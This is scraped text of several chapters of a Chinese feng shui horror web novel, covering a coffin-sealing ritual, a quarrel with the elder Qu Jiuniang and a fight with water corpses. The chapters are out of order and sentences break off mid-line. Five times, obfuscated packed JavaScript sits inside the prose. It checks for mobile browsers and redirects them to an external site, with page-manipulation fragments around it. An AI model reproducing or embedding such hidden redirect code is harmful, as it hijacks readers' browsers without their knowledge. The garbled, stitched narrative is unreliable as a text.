我分外眼红,脚上更使劲儿。 陈梁生忽然笑了起来,他翻着白眼,笑得好像眼泪都出来了。 “你爸?那是我爸吧?” “你太可笑了,你也太蠢了,你居然现在都敢和我面对面,我不知道你哪儿来的勇气啊!哈哈!”陈梁生笑声很大,带着一丝丝癫狂,甚至还有一丝丝浓郁的兴奋! 明明他都被我打得动头破血流,还是这样兴奋,就像是现在躺在地上的是我,被踩着胸口的人是我一样! 第121章 盖棺封钉! 我最后那番话,才是老鳏夫瞑目的缘由。 问题,就在这里了。 老鳏夫相信我,不会用瞿九娘那个法子,也会按照最初的约定给白姝灵一个安息。 这棺盖一合,就相当于老鳏夫愿意入土为安。 可我一旦违反约定,老鳏夫再出土,恐怕事情就难以善了! 本质上,老鳏夫成了无皮血尸,他凶起来,绝对凶的没边,胡喋都搞不定他,只能躲着,只能暗处用奇门遁甲。 心,一阵阵发沉。 我没有一直待在这堂屋里,稍一迟疑,我退出去,进了另一个屋子,是老鳏夫平时住的房间。 当然,他死之后,这屋子就给胡喋住了。 在屋子里头翻找了半晌,我找出来了一个小盒子,里边儿满满当当装着钉子,以及一个小臂长短的钉锤。 再度回到了老鳏夫的棺材前头,我走到棺头停下,一枚钉子,对准棺头边缘正中心。 深呼吸,我语气清朗,喊道:“良辰吉日天地开,盖棺大吉大发财,天清地灵日月明,盖棺子孙进财丁!” “一封天官赐福!” 铿锵一声,是钉锤砸在顶头,深深没入棺盖中! 我换了一个位置,再下钉子,再下钉锤! “二封地府安康!” 走至棺下半截,棺材尾巴,连下两钉! “三封生人长寿,四封百煞潜消!” 再走到棺材另一侧,第五颗钉子,同第二颗钉子几乎相对。 “五封子孙,世代荣昌!” 最后一句诀法,我语调更高,声音更重! 只要这一钉锤下去,老鳏夫就真的是生死隔绝,靠他自身无法出棺。 再入土,他就会被封镇在土中! 这样一来,无论我对白姝灵做什么,老鳏夫都没办法干扰了。 这是葬经百解中的内容。 分属于盖棺封棺双口诀! 只是,这一钉锤,我怎么都没封下去…… 哐当一声,最后一枚钉子落在地上,我趔趄后退了两步,钉锤也脱手而出。 脑子里怔怔就冒出来一些想法。 人,是要讲良心的。 老鳏夫这样对我,我能骗他吗? 那不等同于骗鬼? 还有一点,还是相关于白姝灵,至少说,白姝灵正常的那一部分魂魄对我算是不错吧? 给我当了那么多年的纸婆娘,护住了我的命。 如果将她的一部分,以及她的尸身给了河神,完成了河神夺女,她剩下那一部分,是不完整的,投胎,绝无可能。 甚至说,河神夺女之后还会发生什么事情,我都不得而知。 一旦按照瞿九娘所说的去做。 就相当于,大概率牺牲了白姝灵…… 我这样做了,以后睡得着觉吗? 其实,想提前封住老鳏夫,就是我已经动了一大半的念头! 呼吸,变得更为粗重。 颤巍巍的抬起手,我冲着自己脸上,就给了一个耳光! 人,不能忘本啊! 没有老鳏夫,我就是个**,早就埋在土里了! 脸上火辣辣的痛。 我转身,走出了堂屋,闷头朝着院外走去。 只要没封住最后一颗钉子,这盖棺封钉口诀就相当于没有完成,老鳏夫想出来,就能出来。 我不能没有良心的那样去对白姝灵。 相关于她魂魄的问题,我得想其他办法解决,而不是害了她。 况且,老鳏夫已经给了一定的解决手段了。 那部分念头不好的恶魂,已经被他封镇在布人中! 走出院门,阳光已经分外明媚,甚至格外刺眼。 五黑犬,大鹅,还是在院外守着,那老鸡则在院头上,像是金鸡独立。 至于玄猫,它舒舒服服的在五黑犬肚皮下纳凉。 我刚将狗绳拉起来,远处,就瞧见两个人影,居然是瞿九娘和苟驹来了。 我还以为,他们得花费一些周折,没想到,居然和我在老鳏夫家里用的时间相仿。 迎面朝着两人走去,我脸色还是有一丝抑制不住的急迫。 “怎么样,瞿奶奶?”我率先问。 “嗯,拿到了,这陈梁生留了一手,的确将你爸魂魄藏在了火神庙里,他没有带上蟾山白蟾庙,就是想将这张牌握在自己手中。”瞿九娘回答。 我心头如释重负。 “白姝灵呢?”瞿九娘立马问我。 “在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399453|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我身上。”我说。 “好!”瞿九娘语气都振奋起来。 不光是她,苟驹一样形喜于色。 “河神老爷,在附近跟着我呢,我带他出来了,黄渠也拦不住他,我稍稍用些手段,它就能找上我!” “将白姝灵那部分魂魄注入她尸身中,让她对付了水尸鬼,我再稍稍祭祀河神老爷,河神老爷定让她无所遁形!”苟驹这话语,更透着一丝丝兴奋! “嗯,不着急,你们舟车劳顿,昨夜又那么多波折,先回去休息休息,给,棺生。” 话语间,瞿九娘抬起手来,递给我一样物品,赫然是寻龙分金尺。 昨夜,这尺子我也遗落了。 先前我都没反应过来,没想到瞿九娘给我收起来了。 接过了寻龙分金尺,瞿九娘则朝着村南头走去。 苟驹兴奋不已的跟着。 我默默跟在后方,一时间,却不知道应该怎么和瞿九娘说我要变卦的事儿。 天明,路上没有仙家。 其实,就算是昨天半夜,路上肆虐的仙家都少了。那些精精怪怪全都在跟着我,又在这些辟邪之物的作用下,不敢迫近。 村民们受到的干扰就少了许多,因此此刻的村路上,逐渐多了一些人烟。 隐约还能听到一些人议论,三言两语间我听出来,他们是在说瞿九娘干了好事儿了,村里的邪物都被解决不少。 某些时候,村民对我刻薄,可对在村子里做了好事的人,一样赞不绝口。 当然,瞿九娘对这一切都置之不理。 终于,我们从村南头离开,不多时就回到了黄土坡。 远远便瞧见了我爷爷张望着我们。 靠近之后,爷爷赶紧迎了上来。 “老爷子,瞧你那脸色急的,都有老子出马了,能有办不利索的事儿?小陈找回来了她鬼婆娘,我和九娘婶子也把小陈他老汉的魂儿给拿回来了。” 苟驹这人爽朗,不卖关子,一句话就把事情说了个敞亮。 “哎!好!好啊!”爷爷这一高兴的,脸都涨红,话都在哆嗦。 “你有个好孙子,大部分事情,是棺生完成的。”瞿九娘深深看了爷爷一眼,她这话,透着对我的褒奖,却让我有些猝不及防。 第122章 不撞南墙不回头,不见棺材不落泪 “黄渠村很快就能恢复正常了,我们也能全部离开村子,不会有人需要留下,或者需要**。”瞿九娘再度开口。 这一番话,无形中就说出来我先前内心的判断。 果然,如果不是拿回来我爸的魂魄。 我爸就会被放弃。 “哎……”爷爷眼皮微颤,眼眶都微微发红。 他这表现,是他知道? 看出来了,可我没吭声多言其它。 事已至此,没有必要将一些不高兴的事情掀开了。 “今晚,先送你们出去,剩下的事情,我们会一并办妥!”苟驹再度开口。 还能看出来一点,瞿九娘应该将苟驹不知道的一些信息,都说了个七七八八?不然苟驹也没办法一直抢着答话。 “我就在这里休息吧。”话语间,我抬手指了指一个方位。 当时,白姝灵就是让我来了这个土窑洞,从而规避了村子里边儿的危险。 瞿九娘略有不解,深看我一眼,倒也没说其他的,只是让我好好休息。 她同苟驹,爷爷,一起离开了。 当然,苟驹牵走了五黑犬,其余牲畜都跟着他离开。 我进了土窑洞里头。 阳光被遮蔽不少,脑子却一阵阵浑噩,困顿。 晃晃悠悠进到里边儿房间,我躺在土炕上,就沉沉睡了过去。 这一觉,才是真的睡得天昏地暗。 当我醒来的时候,外边儿的光线都变得发黄,下床出房间,外屋的桌上摆着一些吃食,门敞开着,都已经夕阳了。 屋中还有两人,是我爷爷,还有我爸! “棺生!” 我爸明显收拾了一下身上,换了干净的衣裳,不过,这段时间对他的折磨不少,他整个人还是削瘦很多,只是,他至少神态恢复正常了! 一时间,我心里发酸,有些想哭。 “勇啊,先别说其他的了,去把九娘喊来,就说棺生醒了,商议下边儿的事情。”爷爷和我爸说。 随后,他又笑容满面的看着我,说:“棺生,坐下先吃东西。” “爷爷,你和我爸一块儿过去吧,就让瞿奶奶一个人过来,我有事情要和她商量。”我重重吐了口浊气,说。 爷爷愣了一下,他倒也没多想其它,就答应了一个好字。 他们父子两一并离开。 我吃着桌上的饭菜,是饿极了,几乎是狼吞虎咽。 等我风卷残云的吃完了东西,刚抬起头。 就发现瞿九娘不知道什么时候来了,她静静站在屋门口,却微微皱着眉头。 “你想单独和我商量什么?” “你不会,是有别的什么变数,关于白姝灵,河神夺女的事儿,你要出尔反尔吧?” 瞿九娘这话,语出惊人,却恰巧点中了我要说的事儿! 一时间,我没吭声。 “她并非你原配,更不是你良配,只是当年,你爷爷,你爸妈不知道你身上的其他事情,才找上了老鳏夫,即便是没有她,你一样不会死,那些精精怪怪,伤不到你,我会出手的。”瞿九娘再度开口,话音略有沙哑。 “嗯。” 我应了一声。 不否认,我知道瞿九娘不会让我死。 是老鳏夫动手太快了。 可不否认,瞿九娘实际上,就是没有出手。 这些年,就是白姝灵护住了我。 理顺了思绪,我将这番话讲了出来。 这一次,是瞿九娘没有作答了。 这土窑洞的外屋中,一时间气氛沉闷安静。 “好吧,就算是你重情义,可风险,我和你说过。” “她会想要吞噬掉你。” 瞿九娘言之凿凿:“你总要解决这件事情吧?” “为什么,是那一部分白姝灵回到尸身中呢?难道不能是,跟着我这些年的那个她,那个纸婆娘回去呢?”我开口,就点在了瞿九娘没说过的点上! 瞿九娘的脸色,微微一变。 “河神夺女这件事情,我的确不会答应,白姝灵只要逼退了水尸鬼,我就有办法封住穴眼气口,黄渠就会缩窄,这件事情,就算了结了。” “另一部分她的恶念,我会想办法清除掉的。” 我语气充满了笃定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404090|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至这番话,将事情怎么做,都安排好了。 “你忽略了一个点,我和你说过,她,不是你的原配!”瞿九娘的语气加重,沉声道:“你,会后悔的。” 我脸色再微微一变,眼皮都止不住的微跳。 瞿九娘这话,就是指蟾山上的女善人,阐婵! “好女不侍二夫,好男不娶两妻,她会愤怒,你承受不起。” “还有,如果河神不夺女,那你就拿不到陈瞰山留下来的东西,你就对付不了白蟾庙中的凶尸。” “我可以直白的告诉你,昨夜的事情发生后,那凶尸想要杀你的意念,必然达到了顶峰!你跑了,他不会让你跑的,他会松开陈梁生身上很多枷锁,陈梁生也会找上你!” 瞿九娘这番话,说的是斩钉截铁! “车到山前必有路,船到桥头自然直,我不相信,老陈家的人留下的风水术,必须要用这种方式来完成,让河神夺女,让我对一个水尸鬼卑躬屈膝,甚至送上自己的阴妻?至于阐婵,你想说,她才是原配,可这件事情,我压根就不知道,我不知道,我便不同意,她能离开蟾山找到我么?“ “她若是能走出来,那我昨夜就无法脱困了,她就和那个凶尸一样,需要媒介,譬如我太爷爷,甚至是我祖爷爷的尸身,就是她的媒介吧?” 我这一番话,同样是不肯后退半步。 “你!” 瞿九娘重重跺了跺脚,道:“你怎么就要冥顽不灵?” 我再度沉默片刻,才说:“是冥顽不灵,还是良心?瞿奶奶,你应该很清楚吧,你觉得,人要为达目的,不择手段吗?如果人没有了良心,那人还是人吗?” “就好比您,老陈家可有任何手段约束您?您不想要管我这回事儿,你早就可以不管了,何必以身涉险?” 我这最后一句话,让瞿九娘彻底的戛然无声。 良久,瞿九娘才幽幽道:“伶牙俐齿又有什么用,你是不撞南墙不回头,不见棺材不落泪,那这件事情,你独自一人能办好?” “我,是不会让步的。”瞿九娘字句珠玑。 我做了一个手势,是请的动作。 第123章 早一分钟,晚一分钟,都不行 这个请,是我请瞿九娘离开,请她自便。 她不让步,这件事情我一样不会让步。 人,要有心! 没有了心,又和陈梁生这个白眼狼有什么区别?! “我也会风水术的,我相信至少眼前这件事情,我能应付,至于其他的事情,就等其他时候再看吧。”我再度开口。 瞿九娘闭了闭眼,她呼吸都变得格外粗重。 随后,瞿九娘一声冷哼,才转身离开了土窑洞。 等瞿九娘走远之后,我才微微喘气儿,稍稍平复心绪。 暮色愈来愈重,已经从夕阳,快要到天黑了。 没过多久,脚步声响起。 我刚走出门,就瞧见是我爸,爷爷,还有苟驹过来了。 这会儿苟驹已经没有牵着五黑犬了,不过农村里的猫犬,甚至是鸡鸭,都会认人,那些个东西都跟在苟驹后边儿一些,没有落下。 “棺生,你怎么和你瞿奶奶说话了?她让我们来找你,说后边儿的事情你要做,让我们自便……她不管了?”爷爷着急忙慌的问我。 我爸同样是满脸的疑惑。 苟驹尚算镇定,没有太乱心神。 “苟叔,先送我爸和爷爷出村,这会儿还没天黑。” “等会儿……”我语速飞快。 不光是说,我更往村子方向走。 苟驹听明白了我意思,他脸色都一阵微变。 “这事儿吧……不是非得把便宜给河神老爷,其实也不算是便宜,是帮小陈你呢,你要坚持,我没啥话可说的,只要不出问题那就行。”苟驹语气略沉,不是他不满,是他对这件事情慎重。 “嗯嗯。”我点头。 不多时,我们就到了后山脚下,靠着黄渠河的位置。 站在河边,就能瞧见七八米外的船,以及对岸的捞尸人。 这几天时间过去了,他们全都围在这里,还是没有走。 “过来,接人!”苟驹大喊了一声。 一时间,没有人动弹,只是众人的视线都一直看着这边儿。 “聋了吗?”苟驹又大声嚷嚷了一声。 那些个捞尸人这才靠近岸边,先前接我们和众人汇合的那个苟霍喊了一句:“老苟,大家伙儿的意思,是你不仗义,说了先生要解决黄渠的事情,怎么现在就要接人走了?不把问题弄了,别怪大家现实。” “**,说了不办事吗?先把小……先把陈先生家里老爷子,他老爹接过去,陈先生就是要处理水尸鬼呢!就现在!”苟驹声音大得惊人。 在众人面前,他便没有喊我小陈。 一时间,河对岸的众人面面相觑,还是没有人动弹。 “仙人板板,老子话还没说清楚?只接这两爷子过去,陈先生还和我要办事,天要黑了,你们非要耽误了不成?”苟驹骂了起来。 总算走出来了两人,是苟霍和徐湘灵。 本来见徐湘灵出来了,苟霍就要退回去。 徐湘灵却又喊了一声,不知道在低语了什么,他们两人一同上了船。 片刻间,几米宽的河就过来了。 苟霍在船上没下来,徐湘灵跳下船,却走到我和苟驹身旁。 苟驹去将我爸,我爷爷拉到船上。 爷爷和我爸两人脸色一阵紧绷,他们欲言又止。 不光如此,他们两人更担忧不止,最后还是没说话。 苟霍撑船,朝着对岸而去。 水中黑影重重,不过它们没有冒头。 从苟驹身上,我见到了捞尸人的实力,水尸鬼克制捞尸人,某种情况下,捞尸人也克制水尸鬼,不到万不得已,两者都不会殊死相斗,就像是现在,形成了微妙制衡。 “你个小娘皮,跟着我们,不怕死求了?”苟驹上下打量了徐湘灵一眼,耸了耸肩。 徐湘灵的眼神中,明显透着一丝丝鄙夷。 随后她才看向我,眼中多了一抹审视,眉头也微蹙。 “多个人,多份力,我在里边儿,其它几个叔伯会在对岸跟着,你们要怎么做?”徐湘灵开了口,话音透着认真。 显然,徐湘灵并不是完全信任我,不过,她还是寄希望在我身上。 毕竟,水尸鬼和他们正经的捞尸人,息息相关。 我默了片刻。 其实很想说,不需要她帮忙。 原定计划中,就是白姝灵回到河魁尸中,这就对水尸鬼形成了天然克制。 白姝灵去杀水尸鬼。 我则借此机会,去封住黄渠的气口,这样一来,就能恢复死水潭子的布局。 就算剩下有水尸鬼,它们无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404091|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法远离河伯庙,捞尸人就能来收尾了。 不过,退一万步来说是这样,多个人,多份力。 况且,捞尸人已经将我爸和爷爷安全接到对岸了。 思索间,我瞥了一眼对岸的人,声音大了一些。 “往前走,会有个小学,在那个位置等!” 我语罢,捞尸人顿时开始行动。 爷爷和我爸两人更是赶紧跟着他们,我爸熟悉路,就开始帮人指路了。 随后,我径直朝着一个方向走去。 并没有一直沿着河道走,我反而往村子里去了。 苟驹脸色略有一些变化,似是不知道我进村要做什么。 他只是跟着我,徐湘灵则跟在另一侧。 “这些畜生为什么也跟着?”徐湘灵诧异问了句。 “别一口一个畜生,五黑犬,玄猫,老鸡,大白鹅,个顶个的好用,没有它们,这会儿我们还想好好在村里走路?狐狸都得把你勾回去当压寨夫人。”苟驹略显得不忿,又说了句:“徐湘灵,你这小娘皮,就是头发长,见识短,总归少说几句话,安分跟着,少捣乱。” 明明苟驹都不知道我要做的细节,他气势却拿捏得足够,徐湘灵一下子不吭声了。 我一路走到村子靠北的一片林子处,这才停下来。 入目所视,是一片桃林。 之前,事情是瞿九娘来分析做主导的,封住水口,就是她的事儿。 现在我要自己办,那这就成了我的事儿。 我不可能继续将仕金盘留在死水潭子里,更不可能将寻龙分金尺留在潭水中,那就需要另外一样镇物。 低头,我钻进了桃林中。 苟驹先跟上我,随后徐湘灵才跟了上来。 一路走到桃林最尾巴上,我才找到一棵老桃树。 这桃树上满是瘤子,更长满了晶莹剔透的桃胶。 明明现在是冬末,居然都有了一点儿嫩芽。 风水上说,桃生而为阴,桃荫下有鬼,死后则为阳,桃木做剑,则是辟邪化煞的利器! “苟叔,你不是两把刀吗?还有徐湘灵姑娘,你也有卜刀吧?先帮我把这棵树砍下来,要算准时间,在午夜零点的时候,彻底将树干斩断,早一分钟不行,晚一分钟,一样不行。”我言之凿凿,沉声说道。 第127章 不行也得行 只是我就算是能快,至多比先前快那么一丝丝。 人在水里边儿,怎么都是慢的,水尸鬼却截然不同,它顷刻间就到了我面门前! 这和在水井里边儿接触那两个水尸鬼完全不一样,那两个水尸鬼只是要将我拖下水,它是进攻! 我猛地抽下寻龙分金尺。 只是,我动作还是太慢,它左右双臂快速探出,抓住我的小臂,尖锐的爪勾,深深没入皮肉! 痛感让我闷哼了一下,自然是没能发出声音,水里多了一大串的鼓泡。 那水尸鬼身体轻而易举的摆动,要将我朝着水底拽去! 我根本没有反抗的力气,这个水尸鬼在水底下的劲儿简直是宛若蛮牛,而且我稍加反抗,小臂就像是要被彻底划开似的,痛得钻心。 肺部的空气迅速在耗尽,小臂伤口冒出去的血一股一股往上蹿。 一转眼,那水尸鬼就将我拽到了死水潭子最底部。 到了这里,我才发现,潭底有许多尸体,不单单是癞疙宝的残尸,居然……还有水尸鬼。 我来过水里不止一次两次,可以肯定,先前绝对没有水尸鬼的尸体。 它们是死于那两个**的捞尸人手中? 我来不及多想其它,脑子里更多的思绪,是要怎么脱困! 忽然间,那水尸鬼松开了双臂。 束缚消失,我正要朝着上方猛蹿。 可它根本就不是要放过我的意思,双臂猛的往前一探,是要朝着我脖子上钩来! 它这么锐利的爪勾,只要给我来一下,绝对是命殒当场。 手一直没有松开过寻龙分金尺和仕金盘。 我右手猛地往回一缩,寻龙分金尺就横在脖子前,它一把抓在了寻龙分金尺上,就要用力将其扯开! 就在这电光火石之间,一道白影,自上而下,朝着这水尸鬼袭来! 上方是有月光的,通透的月光挥洒在水中,使得窜来那东西,样貌十分清晰! 赫然又是一尊水尸鬼! 不! 它毛发通体洁白,身形和眼前这水尸鬼如出一辙,甚至要略大一些。 当初没有对比,我还没有多大感觉。 现在看来,这河神老爷,是水尸鬼中最大的! 对! 现在冲来的水尸鬼,就是苟驹供养的河神老爷! 顷刻间,河神老爷冲到了那水尸鬼后方。 它陡然松开寻龙分金尺,一个旋身,迎向河神老爷! 我甚至都听见了水中的尖叫声! 唰的一下,是河神老爷爪子朝着那水尸鬼身上一勾,顿时一大片鲜血涌出。 我哪儿有功夫再留下来看戏,快速朝着上方游去! 这期间却发生了更为恐怖的一幕。 那些河娘子纷纷朝着水底沉去,看那样子是要帮水尸鬼对付河神老爷!? 哗啦一声,我窜出了水面。 大口大口的喘息着,快要被榨干的肺总算恢复了一丝。 “还能行吧小陈?!”苟驹急促的话音入耳。 这一着急,他都顾不得在徐湘灵眼前对我的称呼了。 扭头看先死水潭子岸边,我还是抑制不住喘息。 能瞧见地上点了几根香,还摆着一点儿其他物件,甚至还有一张红布,分明就是苟驹请了河神老爷留下的痕迹。 很想说没事儿。 只是,这能没事儿吗? 我手臂血淋淋的,如此狼狈,说了苟驹他们也不信。 “不行,也得行!”我哑声说完,快速朝着另一个方向游动,很快,就抓住了那节桃木树干。 隐约好像听到苟驹骂了几声脏话,什么去**。 随后就是噗通一声,居然是苟驹也跳进了死水潭子里头,他三两下游到了我身旁。 “人死鸟朝天,一群死娘们,能吓得我不敢下水?河神老爷都在底下了,下边儿有什么玩意儿,小陈你赶紧说,我们下去!” 苟驹这神态举动,明显是豁出去了。 我不知道怎么说。 苟驹冲动吗? 这事儿,远了说和他有关系,往近处看,还是只和我一个人息息相关。 他是纯纯的仗义! “一只发灰的水尸鬼没走,河神老爷在缠斗,十八个河娘子去帮那水尸鬼了,这死水潭子里头的水尸鬼,都是河伯。”我哑声解释。 “得,赶紧整吧就!” 苟驹说完,直接莾头朝着水底游去! 我随之往下游。 有苟驹在身边,自然用不上我握着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422437|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻龙分金尺防身,甚至于河娘子没上来,仕金盘一样揣进兜里,抱着桃木树干,全神贯注的往水底去! 苟驹在水中就宛若一条游鱼一般灵活,甚至他还抓住我一侧胳膊,我游动的速度就更快了。 余光中,又瞧见了另一道身影。 回过神来时,居然是徐湘灵到了我另一侧,她抓住我另一条胳膊,两人夹着我,我都不需要费力就快速沉下水底! 血,让水底变得视线模糊。 那灰**的水尸鬼,理论上不是河神老爷的对手,只是又有十八个河娘子,不知道河神老爷顶不顶得住。 因此,我就不知道血是谁的了。 水中忽然剖开一道口子,是苟驹挥斩了一下卜刀! 一簇断发骤然散开,朝着上方飘散。 徐湘灵同时动了,卜刀刺向另一头。 他们两人松开我,我保持住平衡。 昏昏暗暗的水里头,尸影重重,是几个河娘子过来对付我们了! 我一手摸出来仕金盘,咬在口中当做镇物。 河娘子便不敢迫近我。 双腿摆动,再往下游了一小段,明显感受到了暖流加重! 入目所视,这一处水流更为干净,血污直接被完全冲散。 毫不犹豫,我手中的桃木树干狠狠朝着那洞中塞去! 骤然间,水口被堵住了! 暖意,骤然消失! 水,都好似变重,好似要下沉! 只不过,只是一瞬。 下方一阵无声的轰鸣,那桃木树干居然像是水塞一样,就要被冲开! 我大惊失色,身体猛地下压,整个压在桃木树干上! 胸腔遭到一股撞击,让我咳咳两下,又咕嘟咕嘟吐出来不少水泡。 痛感,更让嗓子眼里有一股腥甜的味道。 我只能憋住气,更死命的往下压! 可这桃木树干,居然压不住这里的生气? 计划……就这么失败了? 总不能让我一直压在这里,更不能留下来仕金盘吧!? 咕嘟咕嘟,又吐出去一大串气泡。 正当我心急如焚的时候,忽然,脑袋就一阵灵光乍现! 我快速在身上摸索,很快就摸出来一袋子铜钱! 第125章 河魁现身! 苟驹曾说过,黄渠村被河封村,人不能进出,水尸鬼为虐,甚至就连捞尸人都死在了黄渠里! 那两尸身旁摆着的,赫然是两柄卜刀!以及一些染血的麻绳,还有破碎不堪的衣物。 尸身,是捞尸人的! 对黄渠村来说,虽说河伯娶女是很多年之前发生的事情了,但是,只要黄渠河出现,总会有村里的老人旧事重提,他们自然会对黄渠河恐惧,自然不敢靠近河边,只要遵循这个规矩,就很难被水尸鬼杀死。 唯有捞尸人不一样,类似于徐湘灵这类人,甚至是苟驹这种算是背离了捞尸人的人,都要回来解决水尸鬼,可想而知,他们之间就是宿仇! 心,咚咚直跳着。 我盯着远处河边,小心翼翼取出来了一样东西。 是个布人。 这布人惟妙惟肖,甚至还点了睛。 白姝灵那一部分正常的魂魄,就在布人里。 只不过,她一直没有出来过。 “姝灵?”我轻声低语。 凉意骤然出现,布人沉甸了不少。 随后,白姝灵出现在身前,她微微低垂着头,贝齿紧咬,双手紧紧攥在一处,显得紧张,又有些无措。 苟驹眼皮跳了跳,不过,他没吭声。 徐湘灵顿后退两步,眼中透着惊疑,显然是被吓了一跳! “先生养鬼?”她微微有些失态。 “相公……”白姝灵话音带着一丝怯弱,脸上,更有一丝柔弱,以及浓浓歉意。 “……”徐湘灵没吭声,只是眼中的茫然剧增。 “没事,我知道什么时候你是你,什么时候,你不是你,快二十年了,我怎么会无关去迁怒你?”我这一番话语态很镇定,冷静。 换做之前,我肯定不会有这种心态。 和老鳏夫的最后接触,他从诈尸,再到了平复,宁愿相信我而被盖棺封钉,我怎么可能去让人失望? 我,更不可能做陈梁生那种白眼狼。 不光是这一件事情,还有这段时间的其余事情,让我的心态,整个人都成熟了太多。 话语和思绪,都在顷刻间。 白姝灵攥在一起的手,微微发颤,随后,她重重嗯了一声。 “它们会想着将我留下来的。” “它们怕我,又想要我。” “相公,你别躲开。” 话语间,白姝灵忽地踏前一步,她和我之间的距离不到一掌之隔。 她美眸忽闪,抿唇,鼻子却用力一吸! 这一瞬,我感觉身上有种热流在淌出,鼻子是个豁口,像是血,可我明明又没有流血。 被吸出来的,是阳气! 不,寻常人会认为,这是阳气,实际上用风水先生的话来说,这叫做二五之精,是生气。 人之精气! 这才会有,鬼吸了阳气,人就折寿的说法,实际上,就是寿命被吸走了。 白姝灵以前只是缠我,让我疲倦,那会儿才算是消耗阳气,此刻她**气,就代表她没有足够的把握,只有这样做,才能**!? 苟驹在一旁咋舌,小声嘀咕:“这鬼婆娘,用起来可废老命了,谁搞得定?” 徐湘灵没吭声,只是眉头愈发紧皱。 这时候,死水潭子那方向,水尸鬼好似有所感应,无一例外,全部都扭头朝着我们这方向看来。 它们……开始往前爬! 这乌压压的一片,更让地面渗满了水,分外阴森恐怖。 不过,它们大概离开了水二十米左右的距离时,就全部停了下来,直愣愣的支棱起身体,真像是个人一样站着。 本身跟出来的五黑犬,玄猫,老鸡,还有大鹅,先前对于鬼鬼祟祟,以及仙家这样的精怪,都雄赳赳气昂昂,现在却一个个蔫头耷脑,甚至是躲到了树干后边儿。 水尸鬼的数量太多,压迫力太大了! 一阵阵倦意涌了上来,我身体只觉得分外疲倦,眼皮子都有些打架,人快到极限了。 白姝灵轻身后退。 随后,她消失不见。 我手中本来握着的那个布人一下子脱手而出。 这一幕让正常人来看,明显有些细思极恐,那布人直挺挺在地上一窜而过! 那群水尸鬼顿时沸腾尖叫起来,像是兴奋万状! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尖叫声贯穿夜空,饶是我们这距离,都感觉像是不停的在耳鸣。 “嘶……呼……”苟驹倒吸一口凉气,又重重吐了口浊气。 “河魁……”徐湘灵的神态,就透着一丝战战兢兢。 我差不多看明白了。 他们怕白姝灵这一类尸。 捞尸人,怕河魁!? 第126章 还有一个! 眼下的一幕,其实分外诡异。 白姝灵并没有直接对水尸鬼痛下杀手,反而朝着河流飘去,鲜红色逐渐远离。 我差不离能看明白。 她是要先引开水尸鬼,才会翻脸。 水尸鬼明明知道河魁凶险,却还是趋之若鹜的跟了上去。 是本性如此,让它们渴望得到白姝灵,得到河魁女尸! 哪怕是,可能会被杀! 顷刻之间,死水潭子就变得安安静静。 我咽了口唾沫,哑声说:“它们被引走了,一时半会儿,姝灵不会放它们回来,我们要下水!” “不,我下水,将这东西塞进气口,黄渠又会断流,死水潭子还是恢复成以前一样,你们捞尸人就可以围在这个地方,弄死所有的水尸鬼?”我这番话既有解释,又有试探性的询问。 “那肯定是妥妥的,把它们全收了,那群人不行,老子一个人都办得了。”苟驹这话十分爽快,还透着一丝催促:“赶紧的,小陈……小声。” “逞强。”徐湘灵说了苟驹一句,她才再目视着我,慎重说:“你赶紧办吧,水尸鬼太多,我不确定那个河魁能不能真的挡得住,好在往下游走,有我们那对捞尸人,总之,快刀斩乱麻!” 我没吭声,一手抱起来地上的树干,脚步蹒跚的往前走去。 苟驹立马伸手搀扶着我一侧肩膀。 徐湘灵则搀着我另外一侧,三人匆匆走到了死水潭子旁。 只不过,眼前的一幕,又让我一阵阵心惊肉跳。 水面涤荡着许许多多漆黑的头发,一股一股,像是触手一样阴森。 月光映射着,一团团发白的印子,则在那些黑发之下! 走了水尸鬼,死水潭子还有鬼! 不过这本身就在预料之中,就像是此前我下来,用仕金盘堵住气口穴眼那一次,不一样有这些河娘子吗? 